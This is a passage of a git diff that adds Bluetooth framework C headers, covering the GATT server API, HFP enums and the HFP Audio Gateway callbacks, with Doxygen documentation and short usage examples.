gatt_status_t status, uint16_t attr_handle); + +/** + * @brief callback for Deletion of GATT service. + * + * This callback is triggered when GATT server remove a GATT service. + * + * @param srv_handle - gatts handle(void*). Each GATT service has its own handle. + * @param status - GATT_STATUS_SUCCESS on success, and other error codes on failure. + * @param attr_handle - attribute handle. The handle identified by each service, not the Attribute handle in spec. + * @return void. + * + * **Example:** + * @code +static void attr_table_removed_callback(void* srv_handle, gatt_status_t status, uint16_t attr_handle) +{ + PRINT("gatts remove attribute table complete, handle 0x%" PRIx16 ", status:%d", attr_handle, status); +} + * @endcode + */ +typedef void (*gatts_attr_table_removed_cb_t)(gatts_handle_t srv_handle, gatt_status_t status, uint16_t attr_handle); + +/** + * @brief callback for GATT server receive Exchange MTU request. + * + * This callback is triggered as server receive Exchange MTU request from peer GATT client. + * BT Service use this callback to Report the results of MTU negotiation. + * + * @param srv_handle - gatts handle(void*). Each GATT service has its own handle. + * @param addr - remote device address. + * @param mtu - negotiated MTU. + * @return void. + * + * **Example:** + * @code +static void mtu_changed_callback(void* srv_handle, bt_address_t* addr, uint32_t mtu) +{ + gatts_device_t* device = find_gatts_device(addr); + if (device) { + device->gatt_mtu = mtu; + } + PRINT_ADDR("gatts_mtu_changed_callback, addr:%s, mtu:%" PRIu32, addr, mtu); +} + * @endcode + */ +typedef void (*gatts_mtu_changed_cb_t)(gatts_handle_t srv_handle, bt_address_t* addr, uint32_t mtu); + +/** + * @brief callback for GATT server excute attribute notify operation. + * + * This callback is triggered when GATT server initiate notify to characteristic with property + * contains the notify flag bit. + * + * @param srv_handle - gatts handle(void*). Each GATT service has its own handle. + * @param addr - remote device address. + * @param status - GATT_STATUS_SUCCESS on success, and other error codes on failure. + * @param attr_handle - attribute handle. The handle identified by each service, not the Attribute handle in spec. + * @return void. + * + * **Example:** + * @code +static void notify_complete_callback(void* srv_handle, bt_address_t* addr, gatt_status_t status, uint16_t attr_handle) +{ + if (status != GATT_STATUS_SUCCESS) { + PRINT_ADDR("gatts service notify failed, addr:%s, handle 0x%" PRIx16 ", status:%d", addr, attr_handle, status); + return; + } + + if (throughtput_cursor) { + throughtput_cursor--; + } else { + PRINT_ADDR("gatts service notify complete, addr:%s, handle 0x%" PRIx16 ", status:%d", addr, attr_handle, status); + } +} + * @endcode + */ +typedef void (*gatts_nofity_complete_cb_t)(gatts_handle_t srv_handle, bt_address_t* addr, gatt_status_t status, uint16_t attr_handle); + +/** + * @brief callback for GATT server execute read PHY. + * + * This callback is triggered when application initiating read PHY procedure. BT Service use this callback to Report + * the Tx PHY & Rx PHY. + * + * @param srv_handle - gatts handle(void*). Each GATT service has its own handle. + * @param tx_phy - current Tx PHY. + * @param rx_phy - current Rx PHY. + * @return void. + * + * **Example:** + * @code +static void phy_read_callback(void* srv_handle, bt_address_t* addr, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy) +{ + PRINT_ADDR("gatts read phy complete, addr:%s, tx:%d, rx:%d", addr, tx_phy, rx_phy); +} + * @endcode + */ +typedef void (*gatts_phy_read_cb_t)(gatts_handle_t srv_handle, bt_address_t* addr, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy); + +/** + * @brief callback for GATT server execute update PHY operation. + * + * This callback is triggered when application initiating update PHY procedure. BT Service use this callback to Report + * the result of update Tx PHY & Rx PHY. + * + * @param srv_handle - gatts handle(void*). Each GATT service has its own handle. + * @param addr - remote device address. + * @param status - GATT_STATUS_SUCCESS on success, and other error codes on failure. + * @param tx_phy - Tx PHY after update. If update operation failed, keep original value. + * @param rx_phy - Rx PHY after update. If update operation failed, keep original value. + * @return void. + * + * **Example:** + * @code +static void phy_updated_callback(void* srv_handle, bt_address_t* addr, gatt_status_t status, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy) +{ + PRINT_ADDR("gatts phy updated, addr:%s, status:%d, tx:%d, rx:%d", addr, status, tx_phy, rx_phy); +} + * @endcode + */ +typedef void (*gatts_phy_updated_cb_t)(gatts_handle_t srv_handle, bt_address_t* addr, gatt_status_t status, ble_phy_type_t tx_phy, + ble_phy_type_t rx_phy); + +/** + * @brief callback for connnection parameter update. + * + * This callback is triggered when peer device initiating connnection parameter update procedure. BT Service use this + * callback to Report the connection parameter. + * + * @param srv_handle - gatts handle(void*). Each GATT service has its own handle. + * @param addr - remote device address. + * @param connection_interval - connection interval(n * 1.25ms). + * @param peripheral_latency - peripheral latency. + * @param supervision_timeout - supervision timeout(n * 10ms). + * @return void. + * + * **Example:** + * @code +static void conn_param_changed_callback(void* srv_handle, bt_address_t* addr, uint16_t connection_interval, + uint16_t peripheral_latency, uint16_t supervision_timeout) +{ + PRINT_ADDR("gatts_conn_param_changed_callback, addr:%s, interval:%" PRIu16 ", latency:%" PRIu16 ", timeout:%" PRIu16, + addr, connection_interval, peripheral_latency, supervision_timeout); +} + * @endcode + */ +typedef void (*gatts_connection_parameter_changed_cb_t)(gatts_handle_t srv_handle, bt_address_t* addr, uint16_t connection_interval, + uint16_t peripheral_latency, uint16_t supervision_timeout); + +/** + * @cond + */ + +typedef struct { + uint32_t size; + gatts_connected_cb_t on_connected; + gatts_disconnected_cb_t on_disconnected; + gatts_attr_table_added_cb_t on_attr_table_added; + gatts_attr_table_removed_cb_t on_attr_table_removed; + gatts_nofity_complete_cb_t on_notify_complete; + gatts_mtu_changed_cb_t on_mtu_changed; + gatts_phy_read_cb_t on_phy_read; + gatts_phy_updated_cb_t on_phy_updated; + gatts_connection_parameter_changed_cb_t on_conn_param_changed; + +} gatts_callbacks_t; + +/** + * @endcond + */ + +/** + * @brief regsiter a service. + * + * @param ins - Bluetooth client instance. + * @param phandle - pointer of gatts connection handle(void*). + * @param callbacks - gatts service callback table. + * @return bt_status_t - BT_STATUS_SUCCESS on success, and other error codes on failure. + * + * **Example:** + * @code +ret = bt_gatts_register_service(handle, &g_dis_handle, &gatts_cbs); +if (ret != BT_STATUS_SUCCESS) + // Handle Error + * @endcode + */ +bt_status_t BTSYMBOLS(bt_gatts_register_service)(bt_instance_t* ins, gatts_handle_t* phandle, gatts_callbacks_t* callbacks); + +/** + * @brief unregsiter a service. + * + * @param srv_handle - gatts handle(void*). Each GATT service has its own handle. + * @return bt_status_t - BT_STATUS_SUCCESS on success, and other error codes on failure. + * + * **Example:** + * @code +if (bt_gatts_unregister_service(service_handle) != BT_STATUS_SUCCESS) + // Handle Error + * @endcode + */ +bt_status_t BTSYMBOLS(bt_gatts_unregister_service)(gatts_handle_t srv_handle); + +/** + * @brief create a connect with peer device. + * + * @param srv_handle - gatts handle(void*). Each GATT service has its own handle. + * @param addr - remote device address. + * @param addr_type - peer address type(ble_addr_type_t). + * @return bt_status_t - BT_STATUS_SUCCESS on success, and other error codes on failure. + * + * **Example:** + * @code +if (bt_gatts_connect(service_handle, &addr, BT_LE_ADDR_TYPE_UNKNOWN) != BT_STATUS_SUCCESS) + // Handle Error + * @endcode + */ +bt_status_t BTSYMBOLS(bt_gatts_connect)(gatts_handle_t srv_handle, bt_address_t* addr, ble_addr_type_t addr_type); + +/** + * @brief initiate a disconnect with peer device. + * + * @param srv_handle - gatts handle(void*). Each GATT service has its own handle. + * @param addr - remote device address. + * @return bt_status_t - BT_STATUS_SUCCESS on success, and other error codes on failure. + * + * **Example:** + * @code +if (bt_gatts_disconnect(service_handle, &addr) != BT_STATUS_SUCCESS) + // Handle Error + * @endcode + */ +bt_status_t BTSYMBOLS(bt_gatts_disconnect)(gatts_handle_t srv_handle, bt_address_t* addr); + +/** + * @brief add GATT service attribute to attribute table. + * + * @param srv_handle - gatts handle(void*). Each GATT service has its own handle. + * @param srv_db - GATT service attributes. + * @return bt_status_t - BT_STATUS_SUCCESS on success, and other error codes on failure. + * + * **Example:** + * @code +if (bt_gatts_add_attr_table(service_handle, service_db) != BT_STATUS_SUCCESS) + // Handle Error + * @endcode + */ +bt_status_t BTSYMBOLS(bt_gatts_add_attr_table)(gatts_handle_t srv_handle, gatt_srv_db_t* srv_db); + +/** + * @brief remove GATT service attribute from attribute table. + * + * @param srv_handle - gatts handle(void*). Each GATT service has its own handle. + * @param attr_handle - GATT service attributes. + * @return bt_status_t - BT_STATUS_SUCCESS on success, and other error codes on failure. + * + * **Example:** + * @code +if (bt_gatts_remove_attr_table(service_handle, attr_handle) != BT_STATUS_SUCCESS) + // Handle Error + * @endcode + */ +bt_status_t BTSYMBOLS(bt_gatts_remove_attr_table)(gatts_handle_t srv_handle, uint16_t attr_handle); + +/** + * @brief set GATT service attribute value. + * + * @param srv_handle - gatts handle(void*). Each GATT service has its own handle. + * @param attr_handle - attribute handle. The handle identified by each service, not the Attribute handle in spec. + * @param value - attribute value. + * @param length - value length. + * @return bt_status_t - BT_STATUS_SUCCESS on success, and other error codes on failure. + * + * **Example:** + * @code +if (bt_gatts_set_attr_value(g_bas_handle, BAS_BATTERY_LEVEL_CHR_ID, (uint8_t*)&battery_level, sizeof(battery_level)) != BT_STATUS_SUCCESS) + // Handle Error + * @endcode + */ +bt_status_t BTSYMBOLS(bt_gatts_set_attr_value)(gatts_handle_t srv_handle, uint16_t attr_handle, uint8_t* value, uint16_t length); + +/** + * @brief get GATT service attribute value. + * + * @param srv_handle - gatts handle(void*). Each GATT service has its own handle. + * @param attr_handle - attribute handle. The handle identified by each service, not the Attribute handle in spec. + * @param value - attribute value. + * @param length - value length. + * @return bt_status_t - BT_STATUS_SUCCESS on success, and other error codes on failure. + * + * **Example:** + * @code +if (bt_gatts_get_attr_value(g_bas_handle, BAS_BATTERY_LEVEL_CHR_ID, buffer, sizeof(buffer)) != BT_STATUS_SUCCESS) + // Handle Error +// Handle attribute value + * @endcode + */ +bt_status_t BTSYMBOLS(bt_gatts_get_attr_value)(gatts_handle_t srv_handle, uint16_t attr_handle, uint8_t* value, uint16_t* length); + +/** + * @brief response attribute value for GATT server recveived read request. + * + * @param srv_handle - gatts handle(void*). Each GATT service has its own handle. + * @param addr - remote device address. Address of the peer device that initiated the read request. + * @param req_handle - attribute handle. The handle identified by each service, not the Attribute handle in spec. + * @param value - attribute value. + * @param length - value length. + * @return bt_status_t - BT_STATUS_SUCCESS on success, and other error codes on failure. + * + * **Example:** + * @code +uint16_t rx_char_on_read(void* srv_handle, bt_address_t* addr, uint16_t attr_handle, uint32_t req_handle) +{ + PRINT_ADDR("gatts service RX char received read request, addr:%s", addr); + bt_status_t ret = bt_gatts_response(srv_handle, addr, req_handle, read_char_value, sizeof(read_char_value)); + PRINT("gatts service RX char response. status: %d", ret); + return 0; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_gatts_response)(gatts_handle_t srv_handle, bt_address_t* addr, uint32_t req_handle, uint8_t* value, uint16_t length); + +/** + * @brief server notify attribute value to client. + * + * @param srv_handle - gatts handle(void*). Each GATT service has its own handle. + * @param addr - remote device address. Address of the peer device that initiated the read request. + * @param attr_handle - attribute handle. The handle identified by each service, not the Attribute handle in spec. + * @param value - attribute value. + * @param length - value length. + * @return bt_status_t - BT_STATUS_SUCCESS on success, and other error codes on failure. + * + * **Example:** + * @code +if (bt_gatts_notify(g_bas_handle, &addr, BAS_BATTERY_LEVEL_CHR_ID, (uint8_t*)&battery_level, sizeof(battery_level)) != BT_STATUS_SUCCESS) + // Handle Error + * @endcode + */ +bt_status_t BTSYMBOLS(bt_gatts_notify)(gatts_handle_t srv_handle, bt_address_t* addr, uint16_t attr_handle, uint8_t* value, uint16_t length); + +/** + * @brief server indicate attribute value to client. + * + * @param srv_handle - gatts handle(void*). Each GATT service has its own handle. + * @param addr - remote device address. Address of the peer device that initiated the read request. + * @param attr_handle - attribute handle. The handle identified by each service, not the Attribute handle in spec. + * @param value - attribute value. + * @param length - value length. + * @return bt_status_t - BT_STATUS_SUCCESS on success, and other error codes on failure. + * + * **Example:** + * @code +if (bt_gatts_indicate(g_custom_handle, &addr, IOT_SERVICE_TX_CHR_ID, (uint8_t*)argv[1], strlen(argv[1])) != BT_STATUS_SUCCESS) + // Handle Error + * @endcode + */ +bt_status_t BTSYMBOLS(bt_gatts_indicate)(gatts_handle_t srv_handle, bt_address_t* addr, uint16_t attr_handle, uint8_t* value, uint16_t length); + +/** + * @brief read Tx & Rx PHY. + * + * @param srv_handle - gatts handle(void*). Each GATT service has its own handle. + * @param addr - remote device address. Address of the peer device that initiated the read request. + * @return bt_status_t - BT_STATUS_SUCCESS on success, and other error codes on failure. + * + * **Example:** + * @code +if (bt_gatts_read_phy(service_handle, &addr) != BT_STATUS_SUCCESS) + // Handle Error + * @endcode + */ +bt_status_t BTSYMBOLS(bt_gatts_read_phy)(gatts_handle_t srv_handle, bt_address_t* addr); + +/** + * @brief update PHY + * + * @param srv_handle - gatts handle(void*). Each GATT service has its own handle. + * @param addr - remote device address. Address of the peer device that initiated the read request. + * @param tx_phy - Tx PHY type wants to update. + * @param rx_phy - Rx PHY type wants to update. + * @return bt_status_t - BT_STATUS_SUCCESS on success, and other error codes on failure. + * + * **Example:** + * @code +if (bt_gatts_update_phy(service_handle, &addr, tx, rx) != BT_STATUS_SUCCESS) + // Handle Error + * @endcode + */ +bt_status_t BTSYMBOLS(bt_gatts_update_phy)(gatts_handle_t srv_handle, bt_address_t* addr, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy); + +#ifdef __cplusplus +} +#endif + +#endif /* __BT_GATTS_H__ */ diff --git a/framework/include/bt_hfp.h b/framework/include/bt_hfp.h new file mode 100644 index 0000000000000000000000000000000000000000..32b56f8806ad039bb804d8914ec270afd02f8bec --- /dev/null +++ b/framework/include/bt_hfp.h @@ -0,0 +1,131 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#ifndef __BT_HFP_H__ +#define __BT_HFP_H__ + +#ifdef __cplusplus +extern "C" { +#endif + +#include "bt_addr.h" +#include "bt_device.h" +#include <stddef.h> + +/** + * @cond + */ + +/* According to HFP 1.9: Phone number string (max. 32 digits) */ +#define HFP_PHONENUM_DIGITS_MAX 32 +#define HFP_NAME_DIGITS_MAX 64 +/* Although not explicitly stated in HFP, it is limited to 512 + for better compatibility. + Also defined as BTA_HF_CLIENT_AT_MAX_LEN (512) at Android */ +#define HFP_AT_LEN_MAX 512 +#define HFP_CALL_LIST_MAX 4 +#define HFP_COMPANY_PREFIX_LEN_MAX 10 + +typedef enum { + HFP_AUDIO_STATE_DISCONNECTED, + HFP_AUDIO_STATE_CONNECTING, + HFP_AUDIO_STATE_CONNECTED, + HFP_AUDIO_STATE_DISCONNECTING, +} hfp_audio_state_t; + +typedef enum { + HFP_CALL_NO_CALLS_IN_PROGRESS = 0, + HFP_CALL_CALLS_IN_PROGRESS +} hfp_call_t; + +typedef enum { + HFP_CALLSETUP_NONE = 0, + HFP_CALLSETUP_INCOMING, + HFP_CALLSETUP_OUTGOING, + HFP_CALLSETUP_ALERTING +} hfp_callsetup_t; + +typedef enum { + HFP_CALLHELD_NONE = 0, + HFP_CALLHELD_HELD, +} hfp_callheld_t; + +typedef enum { + HFP_HF_VR_STATE_STOPPED = 0, + HFP_HF_VR_STATE_STARTED +} hfp_hf_vr_state_t; + +typedef enum { + HFP_VOLUME_TYPE_SPK = 0, + HFP_VOLUME_TYPE_MIC +} hfp_volume_type_t; + +typedef enum { + HFP_HF_CALL_CONTROL_CHLD_0, /* Releases all held calls or sets User Determined User Busy (UDUB) for a waiting call */ + HFP_HF_CALL_CONTROL_CHLD_1, /* Releases all active calls (if any exist) and accepts the other (held or waiting) call */ + HFP_HF_CALL_CONTROL_CHLD_2, /* Places all active calls (if any exist) on hold and accepts the other (held or waiting) call */ + HFP_HF_CALL_CONTROL_CHLD_3, /* Adds a held call to the conversation */ + HFP_HF_CALL_CONTROL_CHLD_4 /* Connects the two calls and disconnects the subscriber from both calls (Explicit Call Transfer). + Support for this value and its associated functionality is optional for the HF */ +} hfp_call_control_t; + +typedef enum { + HFP_HF_CALL_ACCEPT_NONE, + HFP_HF_CALL_ACCEPT_RELEASE, + HFP_HF_CALL_ACCEPT_HOLD, +} hfp_call_accept_t; + +typedef enum { + HFP_CALL_DIRECTION_OUTGOING = 0, + HFP_CALL_DIRECTION_INCOMING +} hfp_call_direction_t; + +typedef enum { + HFP_CALL_MPTY_TYPE_SINGLE = 0, + HFP_CALL_MPTY_TYPE_MULTI +} hfp_call_mpty_type_t; + +typedef enum { + HFP_CALL_MODE_VOICE = 0, + HFP_CALL_MODE_DATA, + HFP_CALL_MODE_FAX +} hfp_call_mode_t; + +typedef enum { + HFP_CALL_ADDRTYPE_UNKNOWN = 0x81, + HFP_CALL_ADDRTYPE_INTERNATIONAL = 0x91, + HFP_CALL_ADDRTYPE_NATIONAL = 0xA1, +} hfp_call_addrtype_t; + +typedef enum { + HFP_NETWORK_NOT_AVAILABLE = 0, + HFP_NETWORK_AVAILABLE, +} hfp_network_state_t; + +typedef enum { + HFP_ROAM_STATE_NO_ROAMING = 0, + HFP_ROAM_STATE_ROAMING, +} hfp_roaming_state_t; + +/** + * @endcond + */ + +#ifdef __cplusplus +} +#endif + +#endif /* __BT_HFP_H__ */ diff --git a/framework/include/bt_hfp_ag.h b/framework/include/bt_hfp_ag.h new file mode 100644 index 0000000000000000000000000000000000000000..62ccd2968fd743ca3ad4a34d4f292d96b33fd747 --- /dev/null +++ b/framework/include/bt_hfp_ag.h @@ -0,0 +1,939 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BT_HFP_AG_H__ +#define __BT_HFP_AG_H__ + +#ifdef __cplusplus +extern "C" { +#endif + +#include "bt_addr.h" +#include "bt_device.h" +#include "bt_hfp.h" +#include <stddef.h> + +#ifndef BTSYMBOLS +#define BTSYMBOLS(s) s +#endif + +#define HFP_PHONE_NUMBER_MAX 80 + +/** + * @cond + */ + +/** + * @brief HFP AG call state + * + */ +typedef enum { + HFP_AG_CALL_STATE_ACTIVE, + HFP_AG_CALL_STATE_HELD, + HFP_AG_CALL_STATE_DIALING, + HFP_AG_CALL_STATE_ALERTING, + HFP_AG_CALL_STATE_INCOMING, + HFP_AG_CALL_STATE_WAITING, + HFP_AG_CALL_STATE_IDLE, + HFP_AG_CALL_STATE_DISCONNECTED +} hfp_ag_call_state_t; + +/** + * @endcond + */ + +/** + * @brief Callback for HFP AG connection state changed. + * + * HFP connection states include DISCONNECTED, CONNECTING, CONNECTED, and + * DISCONNECTING. During HFP AG initialization, callback functions will be + * registered. This callback is triggered when the state of HFP AG connection + * changed. + * + * @param cookie - Callback cookie. + * @param addr - The Bluetooth address of the peer device. + * @param state - HFP profile connection state. + * + * **Example:** + * @code + void hfp_ag_connection_state_cb(void* cookie, bt_address_t* addr, profile_connection_state_t state) + { + printf("hfp_ag_connection_state_cb, state: %d\n", state); + } + * @endcode + */ +typedef void (*hfp_ag_connection_state_callback)(void* cookie, bt_address_t* addr, profile_connection_state_t state); + +/** + * @brief Callback for HFP AG audio state changed. + * + * The audio data transmission in HFP requires the use of a specific transmission + * link, which is the audio connection. HFP audio connection states include + * DISCONNECTED, CONNECTING, CONNECTED, and DISCONNECTING. During HFP AG + * initialization, callback functions will be registered. This callback is + * triggered when the audio connection state changed. + * + * @param cookie - Callback cookie. + * @param addr - The Bluetooth address of the peer device. + * @param state - HFP audio connection state. + * + * **Example:** + * @code +void hfp_ag_audio_state_cb(void* cookie, bt_address_t* addr, hfp_audio_state_t state) +{ + printf("hfp_ag_audio_state_cb, state: %d\n", state); +} + * @endcode + */ +typedef void (*hfp_ag_audio_state_callback)(void* cookie, bt_address_t* addr, hfp_audio_state_t state); + +/** + * @brief Callback for HFP AG VR state changed. + * + * HFP voice recognition activation states includes STOPPED and STARTED. During + * HFP AG initialization, callback functions will be registered. This callback + * is triggered when the VR state changed. When the application receives a + * notification through this callback function, it needs to initiate an audio + * connection if the connection is not established. + * + * @param cookie - Callback cookie. + * @param addr - The Bluetooth address of the peer device. + * @param started - Started or stopped states of voice recognition, true is started, false is stopped. + * + * **Example:** + * @code +void hfp_ag_vr_cmd_cb(void* cookie, bt_address_t* addr, bool started) +{ + printf("hfp_ag_vr_cmd_cb, is start: %d\n", started); + if(!bt_hfp_ag_is_audio_connected(ins, addr)) { + bt_hfp_ag_connect_audio(ins, addr); + } +} + * @endcode + */ +typedef void (*hfp_ag_vr_cmd_callback)(void* cookie, bt_address_t* addr, bool started); + +/** + * @brief Callback for HF battery level updated. + * + * This callback is used to notify the application of the HF's battery level. + * During HFP AG initialization, callback functions will be registered. This + * callback will be triggered when AG receives an update of the HF battery + * level information. + * + * @param cookie - Callback cookie. + * @param addr - The Bluetooth address of the peer device. + * @param value - HF battery level,range 0-100. + * + * **Example:** + * @code +void hfp_ag_battery_update_cb(void* cookie, bt_address_t* addr, uint8_t value) +{ + printf("hfp_ag_battery_update_cb, battery level: %d\n", value); +} + * @endcode + */ +typedef void (*hfp_ag_battery_update_callback)(void* cookie, bt_address_t* addr, uint8_t value); + +/** + * @brief Callback for HFP AG received volume control. + * + * This callback is used to notify the application of volume-related information, + * including speaker gain or microphone gain. During HFP AG initialization, + * callback functions will be registered. This callback will be triggered when + * AG receives a volume control information. + * + * @param cookie - Callback cookie. + * @param addr - The Bluetooth address of the peer device. + * @param type - The type of volume, HFP_VOLUME_TYPE_SPK represents speaker gain, + * HFP_VOLUME_TYPE_MIC represents microphone gain. + * @param volume - The gain level, range 0-15. + * + * **Example:** + * @code +void hfp_ag_volume_control_cb(void* cookie, bt_address_t* addr, hfp_volume_type_t type, uint8_t volume) +{ + printf("hfp_ag_volume_control_cb, type: %d, volume: %d\n", type, volume); +} + * @endcode + */ +typedef void (*hfp_ag_volume_control_callback)(void* cookie, bt_address_t* addr, hfp_volume_type_t type, uint8_t volume); + +/** + * @brief Callback for HFP AG received answer call. + * + * This callback function informs the application that a standard call answer + * command has been received. During HFP AG initialization, callback functions + * will be registered. This callback will be triggered when AG receives an + * answer call. + * + * @param cookie - Callback cookie. + * @param addr - The Bluetooth address of the peer device. + * + * **Example:** + * @code +void hfp_ag_answer_call_cb(void* cookie, bt_address_t* addr) +{ + printf("hfp_ag_answer_call_cb\n"); +} + * @endcode + */ +typedef void (*hfp_ag_answer_call_callback)(void* cookie, bt_address_t* addr); + +/** + * @brief Callback for HFP AG received reject call. + * + * The AT+CHUP command may turn into a reject_call_callback or a hangup_call_callback, + * depending on whether the call is active. This callback is used to notify the + * application of the reject call. During HFP AG initialization, callback functions + * will be registered. This callback will be triggered when AG receives a standard + * hang-up command while a call is in the setup process. The application shall + * terminate calls that are still in the setup phase, i.e., calls that have not yet + * been activated. + * + * @param cookie - Callback cookie. + * @param addr - The Bluetooth address of the peer device. + * + * **Example:** + * @code +void hfp_ag_reject_call_cb(void* cookie, bt_address_t* addr) +{ + printf("hfp_ag_reject_call_cb\n"); +} + * @endcode + */ +typedef void (*hfp_ag_reject_call_callback)(void* cookie, bt_address_t* addr); + +/** + * @brief Callback for HFP AG received hangup call. + * + * The AT+CHUP command may turn into a reject_call_callback or a hangup_call_callback, + * depending on whether the call is active. This callback is used to notify the + * application of the hangup call. During HFP AG initialization, callback functions + * will be registered. This callback will be triggered when AG receives a hangup call. + * + * @param cookie - Callback cookie. + * @param addr - The Bluetooth address of the peer device. + * + * **Example:** + * @code +void hfp_ag_hangup_call_cb(void* cookie, bt_address_t* addr) +{ + printf("hfp_ag_hangup_call_cb\n"); +} + * @endcode + */ +typedef void (*hfp_ag_hangup_call_callback)(void* cookie, bt_address_t* addr); + +/** + * @brief Callback for HFP AG received dial. + * + * This callback is used to notify the application that a standard AT command + * has been received for placing a call to a specific phone number. During HFP + * AG initialization, callback functions will be registered. This callback will + * be triggered when AG receives dial information. + * + * @param cookie - Callback cookie. + * @param addr - The Bluetooth address of the peer device. + * @param number - The dialed number, if number is NULL, redial. + * + * **Example:** + * @code +void hfp_ag_dial_call_cb(void* cookie, bt_address_t* addr, const char* number) +{ + if(number) + printf("hfp_ag_dial_call_cb, number: %s\n", number); + else + printf("hfp_ag_dial_call_cb, redial\n"); +} + * @endcode + */ +typedef void (*hfp_ag_dial_call_callback)(void* cookie, bt_address_t* addr, const char* number); + +/** + * @brief Callback for HFP AG received AT command. + * + * This callback is used to notify the application of the AT command. During + * HFP AG initialization, callback functions will be registered. This callback + * will be triggered when AG receives an AT command that not recognized + * (or not handled) by Bluetooth service. + * + * @param cookie - Callback cookie. + * @param addr - The Bluetooth address of the peer device. + * @param at_command - AT command. + * + * **Example:** + * @code +void hfp_ag_at_cmd_received_cb(void* cookie, bt_address_t* addr, const char* at_command) +{ + printf("hfp_ag_at_cmd_received_cb, at_command: %s\n", at_command); +} + * @endcode + */ +typedef void (*hfp_ag_at_cmd_received_callback)(void* cookie, bt_address_t* addr, const char* at_command); + +/** + * @brief Callback for HFP AG received vendor specific AT command. + * + * This callback is used to notify the application of the vendor specific AT command. During + * HFP AG initialization, callback functions will be registered. This callback will be triggered + * when AG receives a vendor specific AT command. + * + * @param cookie - Callback cookie. + * @param addr - The Bluetooth address of the peer device. + * @param command - The prefix of the AT command. + * @param company_id - Bluetooth company ID. + * @param value - AT command value. + * + * **Example:** + * @code + void hfp_ag_vend_spec_at_cmd_received_cb(void* cookie, bt_address_t* addr, const char* command, uint16_t company_id, const char* value) + { + printf("hfp_ag_vend_spec_at_cmd_received_cb, command: %s, company_id: %d, value: %s\n", command, company_id, value); + } + * @endcode + */ +typedef void (*hfp_ag_vend_spec_at_cmd_received_callback)(void* cookie, bt_address_t* addr, const char* command, uint16_t company_id, const char* value); + +/** + * @brief HFP CLCC command received callback + * + * @param cookie - callback cookie. + * @param addr - address of peer HF device. + * + * **Example:** + * @code + void hfp_ag_clcc_cmd_received_callback(void* cookie, bt_address_t* addr) + { + printf("hfp_ag_clcc_cmd_received_callback\n"); + } + * @endcode + */ +typedef void (*hfp_ag_clcc_cmd_received_callback)(void* cookie, bt_address_t* addr); + +/** + * @cond + */ + +/** + * @brief HFP AG callback structure + * + */ +typedef struct +{ + size_t size; + hfp_ag_connection_state_callback connection_state_cb; + hfp_ag_audio_state_callback audio_state_cb; + hfp_ag_vr_cmd_callback vr_cmd_cb; + hfp_ag_battery_update_callback hf_battery_update_cb; + hfp_ag_volume_control_callback volume_control_cb; + hfp_ag_answer_call_callback answer_call_cb; + hfp_ag_reject_call_callback reject_call_cb; + hfp_ag_hangup_call_callback hangup_call_cb; + hfp_ag_dial_call_callback dial_call_cb; + hfp_ag_at_cmd_received_callback at_cmd_cb; + hfp_ag_vend_spec_at_cmd_received_callback vender_specific_at_cmd_cb; + hfp_ag_clcc_cmd_received_callback clcc_cmd_cb; +} hfp_ag_callbacks_t; + +/** + * @endcond + */ + +/** + * @brief Register HFP AG callback functions. + * + * This function is used to register callback functions in an application + * to the HFP AG service. The types of callback functions are included in + * the hfp_ag_callbacks_t structure. + * + * @param ins - Bluetooth client instance. + * @param callbacks - HFP AG callback functions. + * @return void* - Callback cookie, if the callback is registered successfuly. + * NULL if the callback is already registered or registration fails. + * + * **Example:** + * @code +void* ag_callbacks; +const static hfp_ag_callbacks_t hfp_ag_cbs = { + sizeof(hfp_ag_cbs), + ag_connection_state_cb, + ag_audio_state_cb, + ag_vr_cmd_cb, + ag_battery_update_cb, + ag_volume_control_cb, + ag_answer_call_cb, + ag_reject_call_cb, + ag_hangup_call_cb, + ag_dial_call_cb, + ag_at_cmd_cb, + ag_vender_specific_at_cmd_cb, +}; + +void app_init_hfp_ag(bt_instance_t* ins) +{ + ag_callbacks = bt_hfp_ag_register_callbacks(ins, &hfp_ag_cbs); + if(!ag_callbacks) + printf("register callbacks failed\n"); + else + printf("register callbacks success\n"); +} +* @endcode + */ +void* BTSYMBOLS(bt_hfp_ag_register_callbacks)(bt_instance_t* ins, const hfp_ag_callbacks_t* callbacks); + +/** + * @brief Unregister HFP AG callback functions. + * + * This function is used to unregister callback functions with HFP AG service + * in an application. The application shall unregister all callbacks once it + * is no longer interested in them, such as when the application is quitting. + * + * @param ins - Bluetooth client instance. + * @param cookie - Callback cookie. + * @return true - Unregister successfully. + * @return false - Callback cookie not found. + * + * **Example:** + * @code +void app_deinit_hfp_ag(bt_instance_t* ins) +{ + if(ag_callbacks) { + if(!bt_hfp_ag_unregister_callbacks(ins, ag_callbacks)) + printf("unregister callbacks failed\n"); + } +} + * @endcode + */ +bool BTSYMBOLS(bt_hfp_ag_unregister_callbacks)(bt_instance_t* ins, void* cookie); + +/** + * @brief Check HFP AG is connected + * + * This function is used to check whether a service level connection is established + * between AG and HF device. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return true - HFP AG is connected. + * @return false - HFP AG is not connected. + * + * **Example:** + * @code + void app_check_hfp_ag_connected(bt_instance_t* ins, bt_address_t* addr) + { + if(bt_hfp_ag_is_connected(ins, addr)) + printf("HFP AG is connected\n"); + else + printf("HFP AG is not connected\n"); + } + * @endcode + */ +bool BTSYMBOLS(bt_hfp_ag_is_connected)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Check HFP 